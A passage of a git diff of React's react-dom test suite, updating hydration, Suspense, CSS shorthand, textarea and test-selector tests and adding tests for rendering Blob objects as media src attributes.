+    const initialSpan = container.getElementsByTagName('span')[0];
+    const root = ReactDOMClient.hydrateRoot(container, <App text="A" />);
+    await waitForPaint(['App A']);
+    await act(() => {
+      root.render(<App text="B" />);
+    });
+    assertLog(['App B', 'Child A', 'App B', 'Child B']);
+    expect(initialSpan).toBe(spanRef);
+  });
+
+  // @gate www
+  it('regression test: can unwind context on selective hydration interruption', async () => {
+    const Context = React.createContext('DefaultContext');
+
+    function ContextReader(props) {
+      const value = React.useContext(Context);
+      Scheduler.log(value);
+      return null;
+    }
+
+    function Child({text}) {
+      Scheduler.log(text);
+      return <span>{text}</span>;
+    }
+    const ChildWithBoundary = React.memo(function ({text}) {
+      return (
+        <Activity>
+          <Child text={text} />
+        </Activity>
+      );
+    });
+
+    function App({a}) {
+      Scheduler.log('App');
+      React.useEffect(() => {
+        Scheduler.log('Commit');
+      });
+      return (
+        <>
+          <Context.Provider value="SiblingContext">
+            <ChildWithBoundary text={a} />
+          </Context.Provider>
+          <ContextReader />
+        </>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App a="A" />);
+    assertLog(['App', 'A', 'DefaultContext']);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+    document.body.appendChild(container);
+
+    const spanA = container.getElementsByTagName('span')[0];
+
+    await act(async () => {
+      const root = ReactDOMClient.hydrateRoot(container, <App a="A" />);
+      await waitFor(['App', 'DefaultContext', 'Commit']);
+
+      TODO_scheduleIdleDOMSchedulerTask(() => {
+        root.render(<App a="AA" />);
+      });
+      await waitFor(['App', 'A']);
+
+      dispatchClickEvent(spanA);
+      assertLog(['A']);
+      await waitForAll(['App', 'AA', 'DefaultContext', 'Commit']);
+    });
+  });
+
+  it('regression test: can unwind context on selective hydration interruption for sync updates', async () => {
+    const Context = React.createContext('DefaultContext');
+
+    function ContextReader(props) {
+      const value = React.useContext(Context);
+      Scheduler.log(value);
+      return null;
+    }
+
+    function Child({text}) {
+      Scheduler.log(text);
+      return <span>{text}</span>;
+    }
+    const ChildWithBoundary = React.memo(function ({text}) {
+      return (
+        <Activity>
+          <Child text={text} />
+        </Activity>
+      );
+    });
+
+    function App({a}) {
+      Scheduler.log('App');
+      React.useEffect(() => {
+        Scheduler.log('Commit');
+      });
+      return (
+        <>
+          <Context.Provider value="SiblingContext">
+            <ChildWithBoundary text={a} />
+          </Context.Provider>
+          <ContextReader />
+        </>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App a="A" />);
+    assertLog(['App', 'A', 'DefaultContext']);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    await act(async () => {
+      const root = ReactDOMClient.hydrateRoot(container, <App a="A" />);
+      await waitFor(['App', 'DefaultContext', 'Commit']);
+
+      ReactDOM.flushSync(() => {
+        root.render(<App a="AA" />);
+      });
+      assertLog(['App', 'A', 'App', 'AA', 'DefaultContext', 'Commit']);
+    });
+  });
+
+  it('regression: selective hydration does not contribute to "maximum update limit" count', async () => {
+    const outsideRef = React.createRef(null);
+    const insideRef = React.createRef(null);
+    function Child() {
+      return (
+        <Activity>
+          <div ref={insideRef} />
+        </Activity>
+      );
+    }
+
+    let setIsMounted = false;
+    function App() {
+      const [isMounted, setState] = React.useState(false);
+      setIsMounted = setState;
+
+      const children = [];
+      for (let i = 0; i < 100; i++) {
+        children.push(<Child key={i} isMounted={isMounted} />);
+      }
+
+      return <div ref={outsideRef}>{children}</div>;
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    await act(async () => {
+      ReactDOMClient.hydrateRoot(container, <App />);
+
+      // Commit just the shell
+      await waitForPaint([]);
+
+      // Assert that the shell has hydrated, but not the children
+      expect(outsideRef.current).not.toBe(null);
+      expect(insideRef.current).toBe(null);
+
+      // Update the shell synchronously. The update will flow into the children,
+      // which haven't hydrated yet. This will trigger a cascade of commits
+      // caused by selective hydration. However, since there's really only one
+      // update, it should not be treated as an update loop.
+      // NOTE: It's unfortunate that every sibling boundary is separately
+      // committed in this case. We should be able to commit everything in a
+      // render phase, which we could do if we had resumable context stacks.
+      ReactDOM.flushSync(() => {
+        setIsMounted(true);
+      });
+    });
+
+    // Should have successfully hydrated with no errors.
+    expect(insideRef.current).not.toBe(null);
+  });
+});
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerSuspense-test.internal.js b/packages/react-dom/src/__tests__/ReactDOMServerSuspense-test.internal.js
index da23f8b9447d..6e6f9bb09261 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerSuspense-test.internal.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerSuspense-test.internal.js
@@ -72,8 +72,8 @@ describe('ReactDOMServerSuspense', () => {
     return children.length === 0
       ? undefined
       : children.length === 1
-      ? children[0]
-      : children;
+        ? children[0]
+        : children;
   }
 
   it('should render the children when no promise is thrown', async () => {
@@ -123,7 +123,7 @@ describe('ReactDOMServerSuspense', () => {
   // @gate enableSuspenseList
   it('server renders a SuspenseList component and its children', async () => {
     const example = (
-      <SuspenseList>
+      <SuspenseList revealOrder="forwards" tail="visible">
         <React.Suspense fallback="Loading A">
           <div>A</div>
         </React.Suspense>
diff --git a/packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js b/packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js
index 786cd48d46f4..c03107e467a1 100644
--- a/packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js
@@ -14,6 +14,7 @@ describe('ReactDOMShorthandCSSPropertyCollision', () => {
 
   let React;
   let ReactDOMClient;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     jest.resetModules();
@@ -21,6 +22,8 @@ describe('ReactDOMShorthandCSSPropertyCollision', () => {
     act = require('internal-test-utils').act;
     React = require('react');
     ReactDOMClient = require('react-dom/client');
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
   });
 
   it('should warn for conflicting CSS shorthand updates', async () => {
@@ -29,18 +32,17 @@ describe('ReactDOMShorthandCSSPropertyCollision', () => {
     await act(() => {
       root.render(<div style={{font: 'foo', fontStyle: 'bar'}} />);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<div style={{font: 'foo'}} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<div style={{font: 'foo'}} />);
+    });
+    assertConsoleErrorDev([
       'Removing a style property during rerender (fontStyle) ' +
         'when a conflicting property is set (font) can lead to styling ' +
         "bugs. To avoid this, don't mix shorthand and non-shorthand " +
         'properties for the same value; instead, replace the shorthand ' +
         'with separate values.' +
         '\n    in div (at **)',
-    );
+    ]);
 
     // These updates are OK and don't warn:
     await act(() => {
@@ -50,30 +52,28 @@ describe('ReactDOMShorthandCSSPropertyCollision', () => {
       root.render(<div style={{font: 'foo', fontStyle: 'baz'}} />);
     });
 
-    await expect(async () => {
-      await act(() => {
-        root.render(<div style={{font: 'qux', fontStyle: 'baz'}} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<div style={{font: 'qux', fontStyle: 'baz'}} />);
+    });
+    assertConsoleErrorDev([
       'Updating a style property during rerender (font) when ' +
         'a conflicting property is set (fontStyle) can lead to styling ' +
         "bugs. To avoid this, don't mix shorthand and non-shorthand " +
         'properties for the same value; instead, replace the shorthand ' +
         'with separate values.' +
         '\n    in div (at **)',
-    );
-    await expect(async () => {
-      await act(() => {
-        root.render(<div style={{fontStyle: 'baz'}} />);
-      });
-    }).toErrorDev(
+    ]);
+    await act(() => {
+      root.render(<div style={{fontStyle: 'baz'}} />);
+    });
+    assertConsoleErrorDev([
       'Removing a style property during rerender (font) when ' +
         'a conflicting property is set (fontStyle) can lead to styling ' +
         "bugs. To avoid this, don't mix shorthand and non-shorthand " +
         'properties for the same value; instead, replace the shorthand ' +
         'with separate values.' +
         '\n    in div (at **)',
-    );
+    ]);
 
     // A bit of a special case: backgroundPosition isn't technically longhand
     // (it expands to backgroundPosition{X,Y} but so does background)
@@ -82,18 +82,17 @@ describe('ReactDOMShorthandCSSPropertyCollision', () => {
         <div style={{background: 'yellow', backgroundPosition: 'center'}} />,
       );
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<div style={{background: 'yellow'}} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<div style={{background: 'yellow'}} />);
+    });
+    assertConsoleErrorDev([
       'Removing a style property during rerender ' +
         '(backgroundPosition) when a conflicting property is set ' +
         "(background) can lead to styling bugs. To avoid this, don't mix " +
         'shorthand and non-shorthand properties for the same value; ' +
         'instead, replace the shorthand with separate values.' +
         '\n    in div (at **)',
-    );
+    ]);
     await act(() => {
       root.render(
         <div style={{background: 'yellow', backgroundPosition: 'center'}} />,
@@ -105,18 +104,17 @@ describe('ReactDOMShorthandCSSPropertyCollision', () => {
         <div style={{background: 'green', backgroundPosition: 'top'}} />,
       );
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<div style={{backgroundPosition: 'top'}} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<div style={{backgroundPosition: 'top'}} />);
+    });
+    assertConsoleErrorDev([
       'Removing a style property during rerender (background) ' +
         'when a conflicting property is set (backgroundPosition) can lead ' +
         "to styling bugs. To avoid this, don't mix shorthand and " +
         'non-shorthand properties for the same value; instead, replace the ' +
         'shorthand with separate values.' +
         '\n    in div (at **)',
-    );
+    ]);
 
     // A bit of an even more special case: borderLeft and borderStyle overlap.
     await act(() => {
@@ -124,49 +122,46 @@ describe('ReactDOMShorthandCSSPropertyCollision', () => {
         <div style={{borderStyle: 'dotted', borderLeft: '1px solid red'}} />,
       );
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<div style={{borderLeft: '1px solid red'}} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<div style={{borderLeft: '1px solid red'}} />);
+    });
+    assertConsoleErrorDev([
       'Removing a style property during rerender (borderStyle) ' +
         'when a conflicting property is set (borderLeft) can lead to ' +
         "styling bugs. To avoid this, don't mix shorthand and " +
         'non-shorthand properties for the same value; instead, replace the ' +
         'shorthand with separate values.' +
         '\n    in div (at **)',
-    );
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <div style={{borderStyle: 'dashed', borderLeft: '1px solid red'}} />,
-        );
-      });
-    }).toErrorDev(
+    ]);
+    await act(() => {
+      root.render(
+        <div style={{borderStyle: 'dashed', borderLeft: '1px solid red'}} />,
+      );
+    });
+    assertConsoleErrorDev([
       'Updating a style property during rerender (borderStyle) ' +
         'when a conflicting property is set (borderLeft) can lead to ' +
         "styling bugs. To avoid this, don't mix shorthand and " +
         'non-shorthand properties for the same value; instead, replace the ' +
         'shorthand with separate values.' +
         '\n    in div (at **)',
-    );
+    ]);
     // But setting them  at the same time is OK:
     await act(() => {
       root.render(
         <div style={{borderStyle: 'dotted', borderLeft: '2px solid red'}} />,
       );
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<div style={{borderStyle: 'dotted'}} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<div style={{borderStyle: 'dotted'}} />);
+    });
+    assertConsoleErrorDev([
       'Removing a style property during rerender (borderLeft) ' +
         'when a conflicting property is set (borderStyle) can lead to ' +
         "styling bugs. To avoid this, don't mix shorthand and " +
         'non-shorthand properties for the same value; instead, replace the ' +
         'shorthand with separate values.' +
         '\n    in div (at **)',
-    );
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMSingletonComponents-test.js b/packages/react-dom/src/__tests__/ReactDOMSingletonComponents-test.js
index b1d0a9cb2390..d887972e92ca 100644
--- a/packages/react-dom/src/__tests__/ReactDOMSingletonComponents-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMSingletonComponents-test.js
@@ -23,6 +23,7 @@ let buffer = '';
 let hasErrored = false;
 let fatalError = undefined;
 let waitForAll;
+let assertConsoleErrorDev;
 
 function normalizeError(msg) {
   // Take the first sentence to make it easier to assert on.
@@ -45,6 +46,7 @@ describe('ReactDOM HostSingleton', () => {
 
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
 
     // Test Environment
     const jsdom = new JSDOM(
@@ -102,7 +104,10 @@ describe('ReactDOM HostSingleton', () => {
             el.tagName !== 'TEMPLATE' &&
             el.tagName !== 'template' &&
             !el.hasAttribute('hidden') &&
-            !el.hasAttribute('aria-hidden')) ||
+            !el.hasAttribute('aria-hidden') &&
+            // Ignore the render blocking expect
+            (node.getAttribute('rel') !== 'expect' ||
+              node.getAttribute('blocking') !== 'render')) ||
           el.hasAttribute('data-meaningful')
         ) {
           const props = {};
@@ -128,8 +133,8 @@ describe('ReactDOM HostSingleton', () => {
     return children.length === 0
       ? undefined
       : children.length === 1
-      ? children[0]
-      : children;
+        ? children[0]
+        : children;
   }
 
   it('warns if you render the same singleton twice at the same time', async () => {
@@ -162,11 +167,15 @@ describe('ReactDOM HostSingleton', () => {
         <body />
       </html>,
     );
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev(
-      'You are mounting a new head component when a previous one has not first unmounted. It is an error to render more than one head component at a time and attributes and children of these components will likely fail in unpredictable ways. Please only render a single instance of <head> and if you need to mount a new one, ensure any previous ones have unmounted first',
-    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'You are mounting a new head component when a previous one has not first unmounted. ' +
+        'It is an error to render more than one head component at a time and attributes and ' +
+        'children of these components will likely fail in unpredictable ways. ' +
+        'Please only render a single instance of <head> and if you need to mount a new one, ' +
+        'ensure any previous ones have unmounted first.\n' +
+        '    in head (at **)',
+    ]);
     expect(getVisibleChildren(document)).toEqual(
       <html>
         <head lang="es" data-foo="foo">
@@ -475,7 +484,7 @@ describe('ReactDOM HostSingleton', () => {
     expect(hydrationErrors).toEqual([
       [
         "Hydration failed because the server rendered HTML didn't match the client.",
-        'at div',
+        'at div (<anonymous>)',
       ],
     ]);
     expect(persistentElements).toEqual([
@@ -540,12 +549,31 @@ describe('ReactDOM HostSingleton', () => {
       },
     );
     expect(hydrationErrors).toEqual([]);
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev(
-      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-      {withoutStack: true},
-    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. " +
+        "This won't be patched up. This can happen if a SSR-ed Client Component used:\n" +
+        '\n' +
+        "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
+        "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
+        "- Date formatting in a user's locale which doesn't match the server.\n" +
+        '- External changing data without sending a snapshot of it along with the HTML.\n' +
+        '- Invalid HTML tag nesting.\n\nIt can also happen if the client has a browser extension installed ' +
+        'which messes with the HTML before React loaded.\n' +
+        '\n' +
+        'https://react.dev/link/hydration-mismatch\n' +
+        '\n' +
+        '  <html\n' +
+        '+   data-client-foo="foo"\n' +
+        '-   data-client-foo={null}\n' +
+        '  >\n' +
+        '    <head>\n' +
+        '    <body\n' +
+        '+     data-client-baz="baz"\n' +
+        '-     data-client-baz={null}\n' +
+        '    >\n' +
+        '\n    in body (at **)',
+    ]);
     expect(persistentElements).toEqual([
       document.documentElement,
       document.head,
diff --git a/packages/react-dom/src/__tests__/ReactDOMSrcObject-test.js b/packages/react-dom/src/__tests__/ReactDOMSrcObject-test.js
new file mode 100644
index 000000000000..c77614dcfb77
--- /dev/null
+++ b/packages/react-dom/src/__tests__/ReactDOMSrcObject-test.js
@@ -0,0 +1,220 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment
+ */
+
+'use strict';
+
+// Polyfills for test environment
+global.ReadableStream =
+  require('web-streams-polyfill/ponyfill/es6').ReadableStream;
+global.TextEncoder = require('util').TextEncoder;
+
+describe('ReactDOMSrcObject', () => {
+  let React;
+  let ReactDOMClient;
+  let ReactDOMFizzServer;
+  let act;
+  let container;
+  let assertConsoleErrorDev;
+
+  beforeEach(() => {
+    jest.resetModules();
+
+    React = require('react');
+    ReactDOMClient = require('react-dom/client');
+    ReactDOMFizzServer = require('react-dom/server.edge');
+    act = require('internal-test-utils').act;
+
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
+
+    container = document.createElement('div');
+    document.body.appendChild(container);
+  });
+
+  afterEach(() => {
+    document.body.removeChild(container);
+    jest.restoreAllMocks();
+  });
+
+  // @gate enableSrcObject
+  it('can render a Blob as an img src', async () => {
+    const root = ReactDOMClient.createRoot(container);
+    const ref = React.createRef();
+
+    const blob = new Blob();
+    await act(() => {
+      root.render(<img src={blob} ref={ref} />);
+    });
+
+    expect(ref.current.src).toMatch(/^blob:/);
+  });
+
+  // @gate enableSrcObject
+  it('can render a Blob as a picture img src', async () => {
+    const root = ReactDOMClient.createRoot(container);
+    const ref = React.createRef();
+
+    const blob = new Blob();
+    await act(() => {
+      root.render(
+        <picture>
+          <img src={blob} ref={ref} />
+        </picture>,
+      );
+    });
+
+    expect(ref.current.src).toMatch(/^blob:/);
+  });
+
+  // @gate enableSrcObject
+  it('can render a Blob as a video and audio src', async () => {
+    const root = ReactDOMClient.createRoot(container);
+    const videoRef = React.createRef();
+    const audioRef = React.createRef();
+
+    const blob = new Blob();
+    await act(() => {
+      root.render(
+        <>
+          <video src={blob} ref={videoRef} />
+          <audio src={blob} ref={audioRef} />
+        </>,
+      );
+    });
+
+    expect(videoRef.current.src).toMatch(/^blob:/);
+    expect(audioRef.current.src).toMatch(/^blob:/);
+  });
+
+  // @gate enableSrcObject || !__DEV__
+  it('warn when rendering a Blob as a source src of a video, audio or picture element', async () => {
+    const root = ReactDOMClient.createRoot(container);
+    const videoRef = React.createRef();
+    const audioRef = React.createRef();
+    const pictureRef = React.createRef();
+
+    const blob = new Blob();
+    await act(() => {
+      root.render(
+        <>
+          <video ref={videoRef}>
+            <source src={blob} />
+          </video>
+          <audio ref={audioRef}>
+            <source src={blob} />
+          </audio>
+          <picture ref={pictureRef}>
+            <source src={blob} />
+            <img />
+          </picture>
+        </>,
+      );
+    });
+
+    assertConsoleErrorDev([
+      'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +
+        'Pass it directly to <img src>, <video src> or <audio src> instead.' +
+        '\n    in source (at **)',
+      'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +
+        'Pass it directly to <img src>, <video src> or <audio src> instead.' +
+        '\n    in source (at **)',
+      'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +
+        'Pass it directly to <img src>, <video src> or <audio src> instead.' +
+        '\n    in source (at **)',
+    ]);
+    expect(videoRef.current.firstChild.src).not.toMatch(/^blob:/);
+    expect(videoRef.current.firstChild.src).toContain('[object%20Blob]'); // toString:ed
+    expect(audioRef.current.firstChild.src).not.toMatch(/^blob:/);
+    expect(audioRef.current.firstChild.src).toContain('[object%20Blob]'); // toString:ed
+    expect(pictureRef.current.firstChild.src).not.toMatch(/^blob:/);
+    expect(pictureRef.current.firstChild.src).toContain('[object%20Blob]'); // toString:ed
+  });
+
+  async function readContent(stream) {
+    const reader = stream.getReader();
+    let content = '';
+    while (true) {
+      const {done, value} = await reader.read();
+      if (done) {
+        return content;
+      }
+      content += Buffer.from(value).toString('utf8');
+    }
+  }
+
+  // @gate enableSrcObject
+  it('can SSR a Blob as an img src', async () => {
+    const blob = new Blob([new Uint8Array([69, 230, 156, 181, 68, 75])], {
+      type: 'image/jpeg',
+    });
+
+    const ref = React.createRef();
+
+    function App() {
+      return <img src={blob} ref={ref} />;
+    }
+
+    const stream = await ReactDOMFizzServer.renderToReadableStream(<App />);
+    container.innerHTML = await readContent(stream);
+
+    expect(container.firstChild.src).toBe('data:image/jpeg;base64,ReactURL');
+
+    await act(() => {
+      ReactDOMClient.hydrateRoot(container, <App />);
+    });
+
+    expect(container.firstChild.src).toBe('data:image/jpeg;base64,ReactURL');
+  });
+
+  // @gate enableSrcObject
+  it('errors in DEV when mismatching a Blob during hydration', async () => {
+    const blob = new Blob([new Uint8Array([69, 230, 156, 181, 68, 75])], {
+      type: 'image/jpeg',
+    });
+
+    const ref = React.createRef();
+
+    const stream = await ReactDOMFizzServer.renderToReadableStream(
+      <img src={blob} ref={ref} />,
+    );
+    container.innerHTML = await readContent(stream);
+
+    expect(container.firstChild.src).toBe('data:image/jpeg;base64,ReactURL');
+
+    const clientBlob = new Blob([new Uint8Array([69, 230, 156, 181, 68])], {
+      type: 'image/jpeg',
+    });
+
+    await act(() => {
+      ReactDOMClient.hydrateRoot(container, <img src={clientBlob} ref={ref} />);
+    });
+
+    assertConsoleErrorDev([
+      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. " +
+        "This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n" +
+        "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
+        "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
+        "- Date formatting in a user's locale which doesn't match the server.\n" +
+        '- External changing data without sending a snapshot of it along with the HTML.\n' +
+        '- Invalid HTML tag nesting.\n\n' +
+        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n' +
+        'https://react.dev/link/hydration-mismatch\n\n' +
+        '  <img\n' +
+        '+   src={Blob:image/jpeg}\n' +
+        '-   src="data:image/jpeg;base64,ReactURL"\n' +
+        '    ref={{current:null}}\n' +
+        '  >\n' +
+        '\n    in img (at **)',
+    ]);
+
+    // The original URL left in place.
+    expect(container.firstChild.src).toBe('data:image/jpeg;base64,ReactURL');
+  });
+});
diff --git a/packages/react-dom/src/__tests__/ReactDOMSuspensePlaceholder-test.js b/packages/react-dom/src/__tests__/ReactDOMSuspensePlaceholder-test.js
index 50ba64a47888..a38eb8f368e6 100644
--- a/packages/react-dom/src/__tests__/ReactDOMSuspensePlaceholder-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMSuspensePlaceholder-test.js
@@ -160,7 +160,15 @@ describe('ReactDOMSuspensePlaceholder', () => {
     });
 
     expect(container.textContent).toEqual('Loading...');
-    assertLog(['A', 'Suspend! [B]', 'Loading...']);
+    assertLog([
+      'A',
+      'Suspend! [B]',
+      'Loading...',
+      // pre-warming
+      'A',
+      'Suspend! [B]',
+      'C',
+    ]);
     await act(() => {
       resolveText('B');
     });
diff --git a/packages/react-dom/src/__tests__/ReactDOMTestSelectors-test.js b/packages/react-dom/src/__tests__/ReactDOMTestSelectors-test.js
index 65bb49e06a1c..8b6eb0d49d5e 100644
--- a/packages/react-dom/src/__tests__/ReactDOMTestSelectors-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMTestSelectors-test.js
@@ -23,6 +23,9 @@ describe('ReactDOMTestSelectors', () => {
   let focusWithin;
   let getFindAllNodesFailureDescription;
   let observeVisibleRects;
+  let mockIntersectionObserver;
+  let simulateIntersection;
+  let setBoundingClientRect;
 
   let container;
 
@@ -51,6 +54,10 @@ describe('ReactDOMTestSelectors', () => {
 
     container = document.createElement('div');
     document.body.appendChild(container);
+    const IntersectionMocks = require('./utils/IntersectionMocks');
+    mockIntersectionObserver = IntersectionMocks.mockIntersectionObserver;
+    simulateIntersection = IntersectionMocks.simulateIntersection;
+    setBoundingClientRect = IntersectionMocks.setBoundingClientRect;
   });
 
   afterEach(() => {
@@ -608,21 +615,6 @@ No matching component was found for:
   });
 
   describe('findBoundingRects', () => {
-    // Stub out getBoundingClientRect for the specified target.
-    // This API is required by the test selectors but it isn't implemented by jsdom.
-    function setBoundingClientRect(target, {x, y, width, height}) {
-      target.getBoundingClientRect = function () {
-        return {
-          width,
-          height,
-          left: x,
-          right: x + width,
-          top: y,
-          bottom: y + height,
-        };
-      };
-    }
-
     // @gate www || experimental
     it('should return a single rect for a component that returns a single root host element', async () => {
       const ref = React.createRef();
@@ -1223,69 +1215,10 @@ No matching component was found for:
   });
 
   describe('observeVisibleRects', () => {
-    // Stub out getBoundingClientRect for the specified target.
-    // This API is required by the test selectors but it isn't implemented by jsdom.
-    function setBoundingClientRect(target, {x, y, width, height}) {
-      target.getBoundingClientRect = function () {
-        return {
-          width,
-          height,
-          left: x,
-          right: x + width,
-          top: y,
-          bottom: y + height,
-        };
-      };
-    }
-
-    function simulateIntersection(...entries) {
-      callback(
-        entries.map(([target, rect, ratio]) => ({
-          boundingClientRect: {
-            top: rect.y,
-            left: rect.x,
-            width: rect.width,
-            height: rect.height,
-          },
-          intersectionRatio: ratio,
-          target,
-        })),
-      );
-    }
-
-    let callback;
-    let observedTargets;
+    let observerMock;
 
     beforeEach(() => {
-      callback = null;
-      observedTargets = [];
-
-      class IntersectionObserver {
-        constructor() {
-          callback = arguments[0];
-        }
-
-        disconnect() {
-          callback = null;
-          observedTargets.splice(0);
-        }
-
-        observe(target) {
-          observedTargets.push(target);
-        }
-
-        unobserve(target) {
-          const index = observedTargets.indexOf(target);
-          if (index >= 0) {
-            observedTargets.splice(index, 1);
-          }
-        }
-      }
-
-      // This is a broken polyfill.
-      // It is only intended to provide bare minimum test coverage.
-      // More meaningful tests will require the use of fixtures.
-      window.IntersectionObserver = IntersectionObserver;
+      observerMock = mockIntersectionObserver();
     });
 
     // @gate www || experimental
@@ -1317,8 +1250,8 @@ No matching component was found for:
         handleVisibilityChange,
       );
 
-      expect(callback).not.toBeNull();
-      expect(observedTargets).toHaveLength(1);
+      expect(observerMock.callback).not.toBeNull();
+      expect(observerMock.observedTargets).toHaveLength(1);
       expect(handleVisibilityChange).not.toHaveBeenCalled();
 
       // Simulate IntersectionObserver notification.
@@ -1370,8 +1303,8 @@ No matching component was found for:
         handleVisibilityChange,
       );
 
-      expect(callback).not.toBeNull();
-      expect(observedTargets).toHaveLength(2);
+      expect(observerMock.callback).not.toBeNull();
+      expect(observerMock.observedTargets).toHaveLength(2);
       expect(handleVisibilityChange).not.toHaveBeenCalled();
 
       // Simulate IntersectionObserver notification.
@@ -1437,12 +1370,12 @@ No matching component was found for:
         handleVisibilityChange,
       );
 
-      expect(callback).not.toBeNull();
-      expect(observedTargets).toHaveLength(1);
+      expect(observerMock.callback).not.toBeNull();
+      expect(observerMock.observedTargets).toHaveLength(1);
       expect(handleVisibilityChange).not.toHaveBeenCalled();
 
       disconnect();
-      expect(callback).toBeNull();
+      expect(observerMock.callback).toBeNull();
     });
 
     // This test reuires gating because it relies on the __DEV__ only commit hook to work.
@@ -1570,9 +1503,9 @@ No matching component was found for:
         handleVisibilityChange,
       );
 
-      expect(callback).not.toBeNull();
-      expect(observedTargets).toHaveLength(1);
-      expect(observedTargets[0]).toBe(ref1.current);
+      expect(observerMock.callback).not.toBeNull();
+      expect(observerMock.observedTargets).toHaveLength(1);
+      expect(observerMock.observedTargets[0]).toBe(ref1.current);
     });
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMTextarea-test.js b/packages/react-dom/src/__tests__/ReactDOMTextarea-test.js
index b52a25582b43..b9389f8632fb 100644
--- a/packages/react-dom/src/__tests__/ReactDOMTextarea-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMTextarea-test.js
@@ -16,6 +16,7 @@ describe('ReactDOMTextarea', () => {
   let ReactDOMClient;
   let ReactDOMServer;
   let act;
+  let assertConsoleErrorDev;
 
   let renderTextarea;
 
@@ -28,6 +29,8 @@ describe('ReactDOMTextarea', () => {
     ReactDOMClient = require('react-dom/client');
     ReactDOMServer = require('react-dom/server');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
 
     renderTextarea = async function (component, container, root) {
       await act(() => {
@@ -330,12 +333,12 @@ describe('ReactDOMTextarea', () => {
         );
       });
     };
-    await expect(() =>
-      expect(test).rejects.toThrowError(new TypeError('prod message')),
-    ).toErrorDev(
+    await expect(test).rejects.toThrowError(new TypeError('prod message'));
+    assertConsoleErrorDev([
       'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
-        'strings, not TemporalLike. This value must be coerced to a string before using it here.',
-    );
+        'strings, not TemporalLike. This value must be coerced to a string before using it here.\n' +
+        '    in textarea (at **',
+    ]);
   });
 
   it('should take updates to `defaultValue` for uncontrolled textarea', async () => {
@@ -437,17 +440,15 @@ describe('ReactDOMTextarea', () => {
     it('should ignore children content', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      let node;
-
-      await expect(async () => {
-        node = await renderTextarea(
-          <textarea>giraffe</textarea>,
-          container,
-          root,
-        );
-      }).toErrorDev(
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      const node = await renderTextarea(
+        <textarea>giraffe</textarea>,
+        container,
+        root,
       );
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       expect(node.value).toBe('');
 
       await act(() => {
@@ -462,17 +463,16 @@ describe('ReactDOMTextarea', () => {
     it('should receive defaultValue and still ignore children content', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      let node;
 
-      await expect(async () => {
-        node = await renderTextarea(
-          <textarea defaultValue="dragon">monkey</textarea>,
-          container,
-          root,
-        );
-      }).toErrorDev(
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      const node = await renderTextarea(
+        <textarea defaultValue="dragon">monkey</textarea>,
+        container,
+        root,
       );
+      assertConsoleErrorDev([
